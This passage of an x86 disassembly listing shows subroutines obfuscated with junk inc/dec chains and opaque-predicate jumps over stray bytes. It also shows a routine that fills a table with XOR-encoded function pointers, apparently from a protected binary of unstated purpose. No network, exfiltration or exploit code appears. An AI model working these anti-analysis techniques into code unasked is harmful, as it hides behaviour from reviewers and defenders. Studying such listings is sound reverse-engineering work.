		or	edx, 1
		mov	[ebp+var_8], edx


loc_496019:				; CODE XREF: sub_495F54+BAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49602D	proc near		; DATA XREF: sub_4965D8+349o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 40h
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		add	ecx, 0Bh
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_4960CA
		jl	short loc_4960C8


loc_4960C5:				; CODE XREF: sub_49602D:loc_4960C8j
					; sub_49602D:loc_4960CAj
		jmp	short loc_4960CC
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4960C8:				; CODE XREF: sub_49602D+96j
		jz	short loc_4960C5


loc_4960CA:				; CODE XREF: sub_49602D+94j
		jmp	short loc_4960C5
; ---------------------------------------------------------------------------


loc_4960CC:				; CODE XREF: sub_49602D:loc_4960C5j
		cmp	eax, edx
		jo	short loc_4960D7
		jl	short loc_4960D5


loc_4960D2:				; CODE XREF: sub_49602D:loc_4960D5j
					; sub_49602D:loc_4960D7j
		jmp	short loc_4960D9
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4960D5:				; CODE XREF: sub_49602D+A3j
		jz	short loc_4960D2


loc_4960D7:				; CODE XREF: sub_49602D+A1j
		jmp	short loc_4960D2
; ---------------------------------------------------------------------------


loc_4960D9:				; CODE XREF: sub_49602D:loc_4960D2j
		jz	short loc_4960EC
		and	eax, 0
		jo	short loc_4960E7
		jl	short loc_4960E5


loc_4960E2:				; CODE XREF: sub_49602D:loc_4960E5j
					; sub_49602D:loc_4960E7j
		jmp	short loc_4960E9
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4960E5:				; CODE XREF: sub_49602D+B3j
		jz	short loc_4960E2


loc_4960E7:				; CODE XREF: sub_49602D+B1j
		jmp	short loc_4960E2
; ---------------------------------------------------------------------------


loc_4960E9:				; CODE XREF: sub_49602D:loc_4960E2j
		inc	eax
		jmp	short loc_4960EF
; ---------------------------------------------------------------------------


loc_4960EC:				; CODE XREF: sub_49602D:loc_4960D9j
		and	eax, 0


loc_4960EF:				; CODE XREF: sub_49602D+BDj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_496112
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_496112:				; CODE XREF: sub_49602D+DAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49602D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496126	proc near		; DATA XREF: sub_4965D8+C95o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 8
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 41h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 4
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4961BD
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4961BD:				; CODE XREF: sub_496126+8Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_496126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4961D1	proc near		; DATA XREF: sub_4965D8+B14o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 1Ch
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 8Bh
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 4
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_496296
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_496296:				; CODE XREF: sub_4961D1+BAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4961D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4962AA	proc near		; DATA XREF: sub_4965D8+E5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 3
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 9Ah
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 2
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 500h
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_496336
		jl	short loc_496334


loc_496331:				; CODE XREF: sub_4962AA:loc_496334j
					; sub_4962AA:loc_496336j
		jmp	short loc_496338
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_496334:				; CODE XREF: sub_4962AA+85j
		jz	short loc_496331


loc_496336:				; CODE XREF: sub_4962AA+83j
		jmp	short loc_496331
; ---------------------------------------------------------------------------


loc_496338:				; CODE XREF: sub_4962AA:loc_496331j
		cmp	eax, edx
		jo	short loc_496343
		jl	short loc_496341


loc_49633E:				; CODE XREF: sub_4962AA:loc_496341j
					; sub_4962AA:loc_496343j
		jmp	short loc_496345
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_496341:				; CODE XREF: sub_4962AA+92j
		jz	short loc_49633E


loc_496343:				; CODE XREF: sub_4962AA+90j
		jmp	short loc_49633E
; ---------------------------------------------------------------------------


loc_496345:				; CODE XREF: sub_4962AA:loc_49633Ej
		setnz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49636D
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49636D:				; CODE XREF: sub_4962AA+B8j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4962AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496381	proc near		; DATA XREF: sub_4965D8+6A7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		not	ecx
		not	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		pop	edx
		test	eax, eax
		jnz	loc_4964EC
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		jo	short loc_496476
		jl	short loc_496474


loc_49646F:				; CODE XREF: sub_496381:loc_496474j
					; sub_496381:loc_496476j
		jmp	short loc_496478
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_496474:				; CODE XREF: sub_496381+ECj
		jz	short loc_49646F


loc_496476:				; CODE XREF: sub_496381+EAj
		jmp	short loc_49646F
; ---------------------------------------------------------------------------


loc_496478:				; CODE XREF: sub_496381:loc_49646Fj
		and	al, cl
		pop	ecx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49649E
		jl	short loc_49649C


loc_496497:				; CODE XREF: sub_496381:loc_49649Cj
					; sub_496381:loc_49649Ej
		jmp	short loc_4964A0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49649C:				; CODE XREF: sub_496381+114j
		jz	short loc_496497


loc_49649E:				; CODE XREF: sub_496381+112j
		jmp	short loc_496497
; ---------------------------------------------------------------------------


loc_4964A0:				; CODE XREF: sub_496381:loc_496497j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 7
		dec	dh
		sub	dh, 3
		dec	dh
		jo	short loc_4964D6
		jl	short loc_4964D4


loc_4964CF:				; CODE XREF: sub_496381:loc_4964D4j
					; sub_496381:loc_4964D6j
		jmp	short loc_4964D8
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4964D4:				; CODE XREF: sub_496381+14Cj
		jz	short loc_4964CF


loc_4964D6:				; CODE XREF: sub_496381+14Aj
		jmp	short loc_4964CF
; ---------------------------------------------------------------------------


loc_4964D8:				; CODE XREF: sub_496381:loc_4964CFj
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4964EC
		and	eax, 0
		inc	eax
		jmp	short loc_4964EF
; ---------------------------------------------------------------------------


loc_4964EC:				; CODE XREF: sub_496381+6Fj
					; sub_496381+163j
		and	eax, 0


loc_4964EF:				; CODE XREF: sub_496381+169j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_496512
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_496512:				; CODE XREF: sub_496381+186j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_496381	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496526	proc near		; DATA XREF: sub_4965D8+5Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0D00h
		pop	ebx
		jo	short loc_49655C
		jl	short loc_49655A


loc_496555:				; CODE XREF: sub_496526:loc_49655Aj
					; sub_496526:loc_49655Cj
		jmp	short loc_49655E
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49655A:				; CODE XREF: sub_496526+2Dj
		jz	short loc_496555


loc_49655C:				; CODE XREF: sub_496526+2Bj
		jmp	short loc_496555
; ---------------------------------------------------------------------------


loc_49655E:				; CODE XREF: sub_496526:loc_496555j
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 25h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 17h
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4965BA
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4965BA:				; CODE XREF: sub_496526+89j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_496526	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4965CE	proc near		; DATA XREF: .data:004ED28Co
		push	ebp
		mov	ebp, esp
		call	sub_4965D8
		pop	ebp
		retn
sub_4965CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4965D8	proc near		; CODE XREF: sub_4965CE+3p
		push	ebp
		mov	ebp, esp
		mov	eax, offset sub_49FEC6
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED2D0
		mov	dword_4F36E8, eax
		mov	ecx, offset sub_4A0AF6
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED2D0
		mov	dword_4F36EC, ecx
		mov	edx, offset sub_49F7DF
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED2D4
		mov	dword_4F36F0, edx
		mov	eax, offset sub_4A1C87
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED2D8
		mov	dword_4F36F4, eax
		mov	ecx, offset sub_496526
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED2DC
		mov	dword_4F36F8, ecx
		mov	edx, offset sub_4A2B5F
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED2E0
		mov	dword_4F36FC, edx
		mov	eax, offset sub_4A0499
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED2E4
		mov	dword_4F3700, eax
		mov	ecx, offset sub_499286
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED2E8
		mov	dword_4F3704, ecx
		mov	edx, offset sub_49CC14
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED2EC
		mov	dword_4F3708, edx
		mov	eax, offset sub_49C873
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED2F0
		mov	dword_4F370C, eax
		mov	ecx, offset sub_4962AA
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED2F4
		mov	dword_4F3710, ecx
		mov	edx, offset sub_49526F
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED2F8
		mov	dword_4F3714, edx
		mov	eax, offset sub_49FB10
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED2FC
		mov	dword_4F3718, eax
		mov	ecx, offset sub_499CC7
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED300
		mov	dword_4F371C, ecx
		mov	edx, offset sub_49E379
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED304
		mov	dword_4F3720, edx
		mov	eax, offset sub_49B890
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED308
		mov	dword_4F3724, eax
		mov	ecx, offset sub_49CE90
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED30C
		mov	dword_4F3728, ecx
		mov	edx, offset sub_49DA55
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED310
		mov	dword_4F372C, edx
		mov	eax, offset sub_49D2A1
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED314
		mov	dword_4F3730, eax
		mov	ecx, offset sub_497CCC
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED318
		mov	dword_4F3734, ecx
		mov	edx, offset sub_4A1672
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED31C
		mov	dword_4F3738, edx
		mov	eax, offset sub_49A543
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED320
		mov	dword_4F373C, eax
		mov	ecx, offset sub_49823A
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED324
		mov	dword_4F3740, ecx
		mov	edx, offset sub_49C74A
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED328
		mov	dword_4F3744, edx
		mov	eax, offset sub_4A21F9
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED32C
		mov	dword_4F3748, eax
		mov	ecx, offset sub_49F081
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED330
		mov	dword_4F374C, ecx
		mov	edx, offset sub_495F54
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED334
		mov	dword_4F3750, edx
		mov	eax, offset sub_4A3313
		xor	eax, dword_4ED2CC
		xor	eax, dword_4ED338
		mov	dword_4F3754, eax
		mov	ecx, offset sub_49805F
		xor	ecx, dword_4ED2CC
		xor	ecx, dword_4ED33C
		mov	dword_4F3758, ecx
		mov	edx, offset sub_49E01E
		xor	edx, dword_4ED2CC
		xor	edx, dword_4ED340
		mov	dword_4F375C, edx
		mov	eax, offset sub_49F246
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED2CC
		mov	dword_4F3760, eax
		mov	ecx, offset sub_498F78
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED2D4
		mov	dword_4F3764, ecx
		mov	edx, offset sub_49A07B
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED2D4
		mov	dword_4F3768, edx
		mov	eax, offset sub_4A228D
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED2D8
		mov	dword_4F376C, eax
		mov	ecx, offset sub_4A35A2
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED2DC
		mov	dword_4F3770, ecx
		mov	edx, offset sub_49B69E
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED2E0
		mov	dword_4F3774, edx
		mov	eax, offset sub_499399
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED2E4
		mov	dword_4F3778, eax
		mov	ecx, offset sub_49602D
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED2E8
		mov	dword_4F377C, ecx
		mov	edx, offset sub_499FD4
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED2EC
		mov	dword_4F3780, edx
		mov	eax, offset sub_495835
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED2F0
		mov	dword_4F3784, eax
		mov	ecx, offset sub_4989E5
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED2F4
		mov	dword_4F3788, ecx
		mov	edx, offset sub_499C30
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED2F8
		mov	dword_4F378C, edx
		mov	eax, offset sub_49ACF4
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED2FC
		mov	dword_4F3790, eax
		mov	ecx, offset sub_4A2D20
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED300
		mov	dword_4F3794, ecx
		mov	edx, offset sub_495BCB
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED304
		mov	dword_4F3798, edx
		mov	eax, offset sub_49B480
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED308
		mov	dword_4F379C, eax
		mov	ecx, offset sub_4A09BE
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED30C
		mov	dword_4F37A0, ecx
		mov	edx, offset sub_49E16E
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED310
		mov	dword_4F37A4, edx
		mov	eax, offset sub_49AEE0
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED314
		mov	dword_4F37A8, eax
		mov	ecx, offset sub_49ECF9
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED318
		mov	dword_4F37AC, ecx
		mov	edx, offset sub_4999E5
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED31C
		mov	dword_4F37B0, edx
		mov	eax, offset sub_4985C8
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED320
		mov	dword_4F37B4, eax
		mov	ecx, offset sub_49E97C
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED324
		mov	dword_4F37B8, ecx
		mov	edx, offset sub_49CA28
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED328
		mov	dword_4F37BC, edx
		mov	eax, offset sub_498394
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED32C
		mov	dword_4F37C0, eax
		mov	ecx, offset sub_49DD2D
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED330
		mov	dword_4F37C4, ecx
		mov	edx, offset sub_4A2312
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED334
		mov	dword_4F37C8, edx
		mov	eax, offset sub_4A3197
		xor	eax, dword_4ED2D0
		xor	eax, dword_4ED338
		mov	dword_4F37CC, eax
		mov	ecx, offset sub_49A456
		xor	ecx, dword_4ED2D0
		xor	ecx, dword_4ED33C
		mov	dword_4F37D0, ecx
		mov	edx, offset sub_4A2FB3
		xor	edx, dword_4ED2D0
		xor	edx, dword_4ED340
		mov	dword_4F37D4, edx
		mov	eax, offset sub_49C98D
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED2CC
		mov	dword_4F37D8, eax
		mov	ecx, offset sub_498C43
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED2D0
		mov	dword_4F37DC, ecx
		mov	edx, offset sub_49AA5D
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED2D8
		mov	dword_4F37E0, edx
		mov	eax, offset sub_49D86B
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED2D8
		mov	dword_4F37E4, eax
		mov	ecx, offset sub_49DE9B
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED2DC
		mov	dword_4F37E8, ecx
		mov	edx, offset sub_49D502
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED2E0
		mov	dword_4F37EC, edx
		mov	eax, offset sub_49CAE2
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED2E4
		mov	dword_4F37F0, eax
		mov	ecx, offset sub_499B77
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED2E8
		mov	dword_4F37F4, ecx
		mov	edx, offset sub_495A73
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED2EC
		mov	dword_4F37F8, edx
		mov	eax, offset sub_4A0A56
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED2F0
		mov	dword_4F37FC, eax
		mov	ecx, offset sub_49A261
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED2F4
		mov	dword_4F3800, ecx
		mov	edx, offset sub_49E8B3
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED2F8
		mov	dword_4F3804, edx
		mov	eax, offset sub_49BB7F
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED2FC
		mov	dword_4F3808, eax
		mov	ecx, offset sub_4A2697
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED300
		mov	dword_4F380C, ecx
		mov	edx, offset sub_49C0D6
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED304
		mov	dword_4F3810, edx
		mov	eax, offset sub_496381
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED308
		mov	dword_4F3814, eax
		mov	ecx, offset sub_4982C0
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED30C
		mov	dword_4F3818, ecx
		mov	edx, offset sub_497E12
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED310
		mov	dword_4F381C, edx
		mov	eax, offset sub_49FDFE
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED314
		mov	dword_4F3820, eax
		mov	ecx, offset sub_4A2762
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED318
		mov	dword_4F3824, ecx
		mov	edx, offset sub_4A07C6
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED31C
		mov	dword_4F3828, edx
		mov	eax, offset sub_49F478
		xor	eax, dword_4ED2D4
		xor	eax, dword_4ED320
		mov	dword_4F382C, eax
		mov	ecx, offset sub_49A702
		xor	ecx, dword_4ED2D4
		xor	ecx, dword_4ED324
		mov	dword_4F3830, ecx
		mov	edx, offset sub_4A2138
		xor	edx, dword_4ED2D4
		xor	edx, dword_4ED328
		mov	dword_4F3834, edx
